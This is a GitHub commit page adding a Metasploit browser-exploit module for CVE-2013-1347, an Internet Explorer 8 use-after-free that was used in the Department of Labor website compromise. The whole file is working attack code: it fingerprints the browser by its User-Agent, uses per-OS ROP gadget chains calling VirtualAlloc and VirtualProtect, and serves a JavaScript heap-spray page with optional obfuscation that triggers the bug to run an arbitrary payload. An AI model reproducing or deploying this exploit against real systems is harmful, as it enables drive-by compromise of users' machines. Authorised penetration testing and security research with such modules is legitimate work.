Skip to content

Commit a33510e

Browse files
committed
Add MS IE8 DoL 0day exploit (CVE-2013-1347)
This module exploits a use-after-free vuln in IE 8, used in the Department of Labor attack.
1 parent 2396c26 commit a33510e

File tree

1 file changed

+357
-0
lines changed

1 file changed

+357
-0
lines changed
Lines changed: 357 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,357 @@
1+
##
2+
#
3+
# This file is part of the Metasploit Framework and may be subject to
4+
# redistribution and commercial restrictions. Please see the Metasploit
5+
# Framework web site for more information on licensing and terms of use.
6+
# http://metasploit.com/framework/
7+
##
8+
9+
require 'msf/core'
10+
11+
class Metasploit3 < Msf::Exploit::Remote
12+
Rank = NormalRanking
13+
14+
include Msf::Exploit::Remote::HttpServer::HTML
15+
include Msf::Exploit::RopDb
16+
include Msf::Exploit::Remote::BrowserAutopwn
17+
autopwn_info({
18+
:ua_name => HttpClients::IE,
19+
:ua_minver => "8.0",
20+
:ua_maxver => "8.0",
21+
:javascript => true,
22+
:os_name => OperatingSystems::WINDOWS,
23+
:rank => GoodRanking
24+
})
25+
26+
def initialize(info={})
27+
super(update_info(info,
28+
'Name' => "Microsoft Internet Explorer CGenericElement Object Use-After-Free Vulnerability",
29+
'Description' => %q{
30+
This module exploits a vulnerability found in Microsoft Internet Explorer. A
31+
use-after-free condition occurs when a CGenericElement object is freed, but a
32+
reference is kept on the Document and used again during rendering, an invalid
33+
memory that's controllable is used, and allows arbitrary code execution under the
34+
context of the user.
35+
36+
Please note: This vulnerability has been exploited in the wild on 2013 May, in
37+
the compromise of the Department of Labor (DoL) Website.
38+
},
39+
'License' => MSF_LICENSE,
40+
'Author' =>
41+
[
42+
'Unknown',
43+
'EMH',
44+
'juan vazquez', #RCA
45+
'sinn3r' #RCA
46+
],
47+
'References' =>
48+
[
49+
[ 'CVE', '2013-1347' ],
50+
[ 'OSVDB', '92993' ],
51+
[ 'URL', 'http://blogs.technet.com/b/msrc/archive/2013/05/03/microsoft-releases-security-advisory-2847140.aspx']
52+
],
53+
'Payload' =>
54+
{
55+
'BadChars' => "\x00",
56+
'Space' => 1024,
57+
'DisableNops' => true
58+
},
59+
'DefaultOptions' =>
60+
{
61+
'InitialAutoRunScript' => 'migrate -f'
62+
},
63+
'Platform' => 'win',
64+
'Targets' =>
65+
[
66+
[ 'Automatic', {} ],
67+
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt } ],
68+
[ 'IE 8 on Windows Vista', { 'Rop' => :jre } ],
69+
[ 'IE 8 on Windows Server 2003', { 'Rop' => :msvcrt } ],
70+
[ 'IE 8 on Windows 7', { 'Rop' => :jre } ]
71+
],
72+
'Privileged' => false,
73+
'DisclosureDate' => "Dec 27 2012",
74+
'DefaultTarget' => 0))
75+
76+
register_options(
77+
[
78+
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
79+
], self.class)
80+
81+
end
82+
83+
def get_target(agent)
84+
#If the user is already specified by the user, we'll just use that
85+
return target if target.name != 'Automatic'
86+
87+
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
88+
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
89+
90+
ie_name = "IE #{ie}"
91+
92+
case nt
93+
when '5.1'
94+
os_name = 'Windows XP SP3'
95+
when '5.2'
96+
os_name = 'Windows Server 2003'
97+
when '6.0'
98+
os_name = 'Windows Vista'
99+
when '6.1'
100+
os_name = 'Windows 7'
101+
else
102+
# OS not supported
103+
return nil
104+
end
105+
106+
targets.each do |t|
107+
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
108+
print_status("Target selected as: #{t.name}")
109+
return t
110+
end
111+
end
112+
113+
return nil
114+
end
115+
116+
def ie8_smil(my_target, p)
117+
118+
case my_target['Rop']
119+
when :msvcrt
120+
case my_target.name
121+
when 'IE 8 on Windows XP SP3'
122+
align_esp = Rex::Text.to_unescape([0x77c4d801].pack("V*")) # ADD ESP, 2C; RET
123+
xchg_esp = Rex::Text.to_unescape([0x77c15ed5].pack("V*")) # XCHG EAX, ESP, RET
124+
when 'IE 8 on Windows Server 2003'
125+
align_esp = Rex::Text.to_unescape([0x77bde7f6].pack("V*"))
126+
xchg_esp = Rex::Text.to_unescape([0x77bcba5e].pack("V*"))
127+
end
128+
else
129+
align_esp = Rex::Text.to_unescape([0x7C3445F8].pack("V*"))
130+
xchg_esp = Rex::Text.to_unescape([0x7C348B05].pack("V*"))
131+
end
132+
133+
padding = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4))
134+
js_payload = Rex::Text.to_unescape(p)
135+
136+
js = %Q|
137+
unicorn = unescape("ABCD");
138+
unicorn2 = unescape("EEEE");
139+
for (i=0; i < 2; i++) {
140+
unicorn += unescape("ABCD");
141+
}unicorn += unescape("AB");
142+
143+
unicorn += unescape("#{js_payload}");
144+
145+
animvalues = unescape("#{align_esp}");
146+
147+
for (i=0; i < 0x70/4; i++) {
148+
if (i == 0x70/4-1) {
149+
animvalues += unescape("#{xchg_esp}");
150+
}
151+
else {
152+
animvalues += unescape("#{align_esp}");
153+
}
154+
}
155+
156+
animvalues += unicorn;
157+
158+
for(i = 0; i < 13; i++) {
159+
animvalues += ";red";
160+
}
161+
|
162+
163+
if datastore['OBFUSCATE']
164+
js = ::Rex::Exploitation::JSObfu.new(js)
165+
js.obfuscate
166+
end
167+
168+
return js
169+
end
170+
171+
def junk(n=4)
172+
return rand_text_alpha(n).unpack("V")[0].to_i
173+
end
174+
175+
def nop
176+
return make_nops(4).unpack("V")[0].to_i
177+
end
178+
179+
def get_payload(t, cli)
180+
code = payload.encoded
181+
182+
# No rop. Just return the payload.
183+
return code if t['Rop'].nil?
184+
185+
case t['Rop']
186+
when :msvcrt
187+
case t.name
188+
when 'IE 8 on Windows XP SP3'
189+
rop_gadgets =
190+
[
191+
0x77c1e844, # POP EBP # RETN [msvcrt.dll]
192+
0x77c1e844, # skip 4 bytes [msvcrt.dll]
193+
0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]
194+
0xffffffff,
195+
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
196+
0x77c127e5, # INC EBX # RETN [msvcrt.dll]
197+
0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
198+
0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
199+
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
200+
0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
201+
0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
202+
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
203+
0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
204+
0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
205+
0x77c3048a, # POP EDI # RETN [msvcrt.dll]
206+
0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
207+
0x77c46efb, # POP ESI # RETN [msvcrt.dll]
208+
0x77c2aacc, # JMP [EAX] [msvcrt.dll]
209+
0x77c3b860, # POP EAX # RETN [msvcrt.dll]
210+
0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
211+
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
212+
0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll]
213+
].pack("V*")
214+
when 'IE 8 on Windows Server 2003'
215+
rop_gadgets =
216+
[
217+
0x77bb2563, # POP EAX # RETN
218+
0x77ba1114, # <- *&VirtualProtect()
219+
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
220+
junk,
221+
0x77bb0c86, # XCHG EAX,ESI # RETN
222+
0x77bc9801, # POP EBP # RETN
223+
0x77be2265, # ptr to 'push esp # ret'
224+
0x77bb2563, # POP EAX # RETN
225+
0x03C0990F,
226+
0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)
227+
0x77bb48d3, # POP EBX, RET
228+
0x77bf21e0, # .data
229+
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
230+
0x77bbfc02, # POP ECX # RETN
231+
0x77bef001, # W pointer (lpOldProtect) (-> ecx)
232+
0x77bd8c04, # POP EDI # RETN
233+
0x77bd8c05, # ROP NOP (-> edi)
234+
0x77bb2563, # POP EAX # RETN
235+
0x03c0984f,
236+
0x77bdd441, # SUB EAX, 03c0940f
237+
0x77bb8285, # XCHG EAX,EDX # RETN
238+
0x77bb2563, # POP EAX # RETN
239+
nop,
240+
0x77be6591 # PUSHAD # ADD AL,0EF # RETN
241+
].pack("V*")
242+
end
243+
else
244+
rop_gadgets =
245+
[
246+
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
247+
0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)
248+
0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
249+
0x7c3415a2, # JMP [EAX] [msvcr71.dll]
250+
0xffffffff,
251+
0x7c376402, # skip 4 bytes [msvcr71.dll]
252+
0x7c351e05, # NEG EAX # RETN [msvcr71.dll]
253+
0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]
254+
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
255+
0x7c344f87, # POP EDX # RETN [msvcr71.dll]
256+
0xffffffc0, # Value to negate, will become 0x00000040
257+
0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]
258+
0x7c34d201, # POP ECX # RETN [msvcr71.dll]
259+
0x7c38b001, # &Writable location [msvcr71.dll]
260+
0x7c347f97, # POP EAX # RETN [msvcr71.dll]
261+
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
262+
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
263+
0x7c345c30 # ptr to 'push esp # ret ' [msvcr71.dll]
264+
# rop chain generated with mona.py
265+
].pack("V*")
266+
end
267+
268+
rop_payload = rop_gadgets
269+
case t['Rop']
270+
when :msvcrt
271+
rop_payload << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
272+
else
273+
rop_payload << "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000
274+
end
275+
rop_payload << code
276+
rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt
277+
278+
return rop_payload
279+
end
280+
281+
def load_exploit_html(my_target, cli)
282+
283+
p = get_payload(my_target, cli)
284+
js = ie8_smil(my_target, p)
285+
286+
html = %Q|
287+
<!doctype html>
288+
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
289+
<head>
290+
<meta>
291+
<?IMPORT namespace="t" implementation="#default#time2">
292+
</meta>
293+
294+
<script>
295+
function helloWorld()
296+
{
297+
#{js}
298+
f0 = document.createElement('span');
299+
document.body.appendChild(f0);
300+
f1 = document.createElement('span');
301+
document.body.appendChild(f1);
302+
f2 = document.createElement('span');
303+
document.body.appendChild(f2);
304+
document.body.contentEditable="true";
305+
f2.appendChild(document.createElement('datalist'));
306+
f1.appendChild(document.createElement('span'));
307+
f1.appendChild(document.createElement('table'));
308+
try{
309+
f0.offsetParent=null;
310+
}catch(e) {
311+
312+
}f2.innerHTML="";
313+
f0.appendChild(document.createElement('hr'));
314+
f1.innerHTML="";
315+
316+
CollectGarbage();
317+
318+
try {
319+
a = document.getElementById('myanim');
320+
a.values = animvalues;
321+
}
322+
catch(e) {}
323+
}
324+
325+
</script>
326+
</head>
327+
<body onload="eval(helloWorld());">
328+
<t:ANIMATECOLOR id="myanim"/>
329+
330+
</body>
331+
</html>
332+
|
333+
334+
return html
335+
end
336+
337+
def on_request_uri(cli, request)
338+
agent = request.headers['User-Agent']
339+
uri = request.uri
340+
print_status("Requesting: #{uri}")
341+
342+
my_target = get_target(agent)
343+
# Avoid the attack if no suitable target found
344+
if my_target.nil?
345+
print_error("Browser not supported, sending 404: #{agent}")
346+
send_not_found(cli)
347+
return
348+
end
349+
350+
html = load_exploit_html(my_target, cli)
351+
html = html.gsub(/^\t\t/, '')
352+
print_status("Sending HTML...")
353+
send_response(cli, html, {'Content-Type'=>'text/html'})
354+
end
355+
356+
end
357+

0 commit comments

Comments
 (0)